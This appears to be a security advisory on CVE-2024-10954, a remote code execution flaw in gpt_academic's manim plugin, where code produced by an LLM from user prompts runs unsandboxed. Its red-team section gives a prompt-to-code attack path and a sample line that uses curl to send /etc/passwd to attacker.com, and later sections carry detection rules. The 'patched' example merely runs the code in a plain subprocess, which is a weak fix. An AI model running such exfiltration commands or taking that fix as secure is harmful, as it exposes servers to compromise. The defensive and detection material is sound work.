CVE-2024-10954

POC_DETAILS: None

Executive Summary

CVE-2024-10954 is a critical Remote Code Execution (RCE) vulnerability in the manim plugin of the binary-husky/gpt_academic project. The vulnerability stems from improper sandboxing of user-provided prompts that are processed by a Large Language Model (LLM). The LLM generates code that is executed without adequate isolation, allowing an attacker to inject malicious code through a crafted prompt. This leads to full compromise of the backend server. The CVSS score is 8.8 (High), and the vulnerability is currently unpatched. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is in a Python-based project (gpt_academic). The manim plugin is a component that integrates the Manim animation library. The risk is amplified if the application is deployed in a containerized or cloud environment, as the RCE could lead to lateral movement. No specific package version is known to be vulnerable, but all versions prior to an unknown patch are affected.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction. An attacker can fully control the backend server.

Deep Dive & Mechanics

The gpt_academic application uses an LLM to generate responses. The manim plugin is designed to create animations based on user prompts. The vulnerability exists because the plugin does not properly sandbox the code generated by the LLM. Instead of executing the generated code in a restricted environment (e.g., a container, a restricted Python interpreter, or a sandbox like nsjail), it executes it directly on the host system.

Attack Flow:

1. An attacker sends a crafted prompt to the manim plugin.
2. The LLM processes the prompt and generates Python code (or shell commands) that includes malicious payloads.
3. The plugin executes this code without sanitization or sandboxing.
4. The attacker achieves RCE, allowing them to execute arbitrary commands, exfiltrate data, or pivot to other systems.

Root Cause: Lack of input validation and sandboxing for LLM-generated code. The application trusts the LLM output implicitly.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Executes LLM output directly
def generate_animation(prompt):
    code = llm.generate_code(prompt)
    exec(code)  # No sandbox

Patched Code (Conceptual):

# Patched: Uses a sandboxed environment
import subprocess
def generate_animation(prompt):
    code = llm.generate_code(prompt)
    # Execute in a restricted container or subprocess with limited permissions
    subprocess.run(["python", "-c", code], timeout=10, capture_output=True, check=True)

The patched version should use a sandbox like nsjail, Docker containers, or at least a subprocess with restricted privileges and timeouts.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a proof-of-concept can be crafted. The attacker would send a prompt that causes the LLM to generate code like:

import os
os.system("curl http://attacker.com/$(cat /etc/passwd)")

Lab Setup:

1. Deploy a vulnerable instance of gpt_academic with the manim plugin enabled.
2. Use a tool like curl or a custom script to send a malicious prompt.
3. Observe the callback to the attacker's server.

Example Prompt:

Create a manim animation that prints the contents of /etc/passwd to the console.

Blue Team (Defense)

Detection:

• Monitor for unusual outbound connections from the gpt_academic server.
• Look for execution of exec(), eval(), os.system(), or subprocess calls in the application logs.
• Use a Web Application Firewall (WAF) to block prompts containing suspicious patterns (e.g., os.system, subprocess).

Mitigation:

• Immediately disable the manim plugin until a patch is applied.
• Implement a sandbox for LLM-generated code (e.g., Docker containers, nsjail).
• Apply strict input validation and output sanitization.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs/domains from the gpt_academic server.
• Process: Unexpected child processes spawned by the Python interpreter (e.g., bash, curl, wget).
• File: Creation of suspicious files in /tmp/ or other writable directories.
• Logs: Entries in application logs showing execution of exec(), eval(), or os.system().
• System: Unusual cron jobs or modified system binaries.

Detection Engineering

YARA Rule

rule CVE_2024_10954_manim_RCE {
    meta:
        description = "Detects malicious prompts targeting CVE-2024-10954 in gpt_academic manim plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10954"
    strings:
        $s1 = "os.system" ascii wide nocase
        $s2 = "subprocess" ascii wide nocase
        $s3 = "exec(" ascii wide nocase
        $s4 = "eval(" ascii wide nocase
        $s5 = "__import__" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-10954 - gpt_academic manim Plugin RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of suspicious Python code in gpt_academic logs
author: Valters IT
date: 2024/01/01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains:
            - 'os.system'
            - 'subprocess'
            - 'exec('
            - 'eval('
    condition: selection
falsepositives:
    - Legitimate use of these functions by developers
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10954 - gpt_academic manim Plugin RCE Attempt"; flow:to_server,established; content:"os.system"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the manim plugin until a patch is available.
2. Apply network segmentation to isolate the gpt_academic server.
3. Monitor logs for suspicious activity.

Long-term Fixes:

1. Sandbox LLM-generated code using Docker containers, nsjail, or Firejail.
2. Implement strict input validation to reject prompts containing dangerous keywords.
3. Use a Web Application Firewall (WAF) to block malicious payloads.
4. Apply the principle of least privilege to the application process.

Patch Status: UNKNOWN. The vendor has not released a patch. Users should monitor the official repository for updates.

Valters IT
Securing Digital Frontiers